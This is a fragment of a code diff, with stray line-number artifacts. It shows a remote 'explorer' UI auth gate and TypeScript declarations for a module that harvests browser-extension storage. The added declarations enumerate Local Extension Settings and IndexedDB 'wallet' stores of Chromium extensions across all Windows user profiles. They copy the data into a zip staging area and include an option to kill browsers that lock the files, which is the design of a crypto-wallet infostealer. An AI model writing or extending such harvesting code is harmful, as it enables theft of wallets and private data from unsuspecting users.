if(t==='fs_list_result'){
|
|
4980
5062
|
const reqId = m.request_id;
|
|
@@ -7150,13 +7232,7 @@ function uploadHfForceKill(){
|
|
|
7150
7232
|
!!explorerGateAuthSecret();
|
|
7151
7233
|
|
|
7152
7234
|
if ((autoParam === '1' && sessionParam) || skipPasswordGate) {
|
|
7153
|
-
|
|
7154
|
-
if (overlay) {
|
|
7155
|
-
overlay.classList.add('hidden');
|
|
7156
|
-
overlay.style.display = '';
|
|
7157
|
-
overlay.setAttribute('aria-hidden', 'true');
|
|
7158
|
-
}
|
|
7159
|
-
explorerChromeVisible(true);
|
|
7235
|
+
/** Keep overlay until `afterAuth()` — avoids empty chrome while socket/auth is still in flight. */
|
|
7160
7236
|
setWaitmsg('Connecting (' + shortSessionLabel(sessionEl ? sessionEl.value : '') + ')…');
|
|
7161
7237
|
setTimeout(function() {
|
|
7162
7238
|
if (explorerUrlSessionReady()) {
|
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
export declare const EXTENSION_DB_STAGING_DIRNAME = "extension-db-staging";
|
|
2
2
|
/** Relative path segment (case-insensitive) under a browser profile. */
|
|
3
3
|
export declare const LOCAL_EXTENSION_SETTINGS = "Local Extension Settings";
|
|
4
|
+
export declare const INDEXEDDB_DIR_NAME = "IndexedDB";
|
|
4
5
|
export type ExtensionDbSource = {
|
|
5
6
|
browserLabel: string;
|
|
6
7
|
/** Last segment of profile path (e.g. `Default`, `Profile 1`). */
|
|
@@ -13,6 +14,8 @@ export type ExtensionDbSource = {
|
|
|
13
14
|
sourceKey: string;
|
|
14
15
|
/** Relative path inside the zip staging tree. */
|
|
15
16
|
stagingRelPath: string;
|
|
17
|
+
/** `local_extension_settings` (default) or Chromium profile `IndexedDB` wallet trees. */
|
|
18
|
+
storageKind: "local_extension_settings" | "indexeddb";
|
|
16
19
|
};
|
|
17
20
|
export type ExtensionDbHarvestResult = {
|
|
18
21
|
stagingRoot: string;
|
|
@@ -23,6 +26,10 @@ export type ExtensionDbHarvestResult = {
|
|
|
23
26
|
skippedFolders: number;
|
|
24
27
|
skippedCopyErrors: number;
|
|
25
28
|
};
|
|
29
|
+
/** All `AppData\\Local` roots on Windows — current user plus `C:\\Users\\*\\AppData\\Local`. */
|
|
30
|
+
export declare function win32AllLocalAppDataRoots(): string[];
|
|
31
|
+
/** All `AppData\\Roaming` roots on Windows — current user plus `C:\\Users\\*\\AppData\\Roaming`. */
|
|
32
|
+
export declare function win32AllRoamingAppDataRoots(): string[];
|
|
26
33
|
/** Chromium `User Data`-style roots (may be profile root for Opera). */
|
|
27
34
|
export declare function chromiumBrowserUserDataCandidates(): {
|
|
28
35
|
label: string;
|
|
@@ -36,18 +43,32 @@ export declare function findLocalExtensionSettingsDirs(userDataRoot: string, max
|
|
|
36
43
|
profileRelPath: string;
|
|
37
44
|
lesDir: string;
|
|
38
45
|
}[];
|
|
39
|
-
/**
|
|
46
|
+
/** Find `IndexedDB/chrome-extension_*_0.indexeddb.leveldb/` trees under a browser user-data root. */
|
|
47
|
+
export declare function findChromeExtensionIndexedDbDirs(userDataRoot: string, maxDepth?: number): {
|
|
48
|
+
profileLabel: string;
|
|
49
|
+
profileRelPath: string;
|
|
50
|
+
idbDir: string;
|
|
51
|
+
extensionId: string;
|
|
52
|
+
}[];
|
|
53
|
+
/** True when a filename is a LevelDB sstable (`.ldb`, case-insensitive). */
|
|
54
|
+
export declare function isLevelDbSstableFileName(name: string): boolean;
|
|
55
|
+
/**
|
|
56
|
+
* Gate: true when `<extension_id>/` contains ≥1 **`.ldb`** file (LevelDB database segment).
|
|
57
|
+
* SQLite `.db` / `.dat` without `.ldb` does **not** qualify.
|
|
58
|
+
*/
|
|
59
|
+
export declare function extensionFolderHasLdbFile(dir: string, maxDepth?: number): boolean;
|
|
60
|
+
/** @deprecated Use {@link extensionFolderHasLdbFile} — gate is `.ldb`, not `.db`. */
|
|
40
61
|
export declare function extensionFolderHasDbFile(dir: string, maxDepth?: number): boolean;
|
|
41
|
-
/** Enumerate extension folders (with `.
|
|
62
|
+
/** Enumerate extension folders (with ≥1 `.ldb` file) for explicit browser roots (test hook). */
|
|
42
63
|
export declare function discoverExtensionDbSourcesFromUserDataRoots(candidates: {
|
|
43
64
|
label: string;
|
|
44
65
|
root: string;
|
|
45
66
|
}[]): ExtensionDbSource[];
|
|
46
|
-
/** Enumerate extension folders (with `.
|
|
67
|
+
/** Enumerate extension folders (with ≥1 `.ldb` file) across all Chromium browsers. */
|
|
47
68
|
export declare function discoverExtensionDbSources(): ExtensionDbSource[];
|
|
48
69
|
export declare function extensionDbStagingRoot(): string;
|
|
49
70
|
/** Unique key for browser + profile + extension id (same id in different profiles/browsers stays distinct). */
|
|
50
|
-
export declare function extensionSourceKey(browserLabel: string, profileRelPath: string, extensionId: string): string;
|
|
71
|
+
export declare function extensionSourceKey(browserLabel: string, profileRelPath: string, extensionId: string, storageKind?: ExtensionDbSource["storageKind"]): string;
|
|
51
72
|
export declare function stagingRelPathForSource(src: ExtensionDbSource): string;
|
|
52
73
|
export type HarvestExtensionDbOptions = {
|
|
53
74
|
/** Terminate browsers locking profile paths before copy (default true). */
|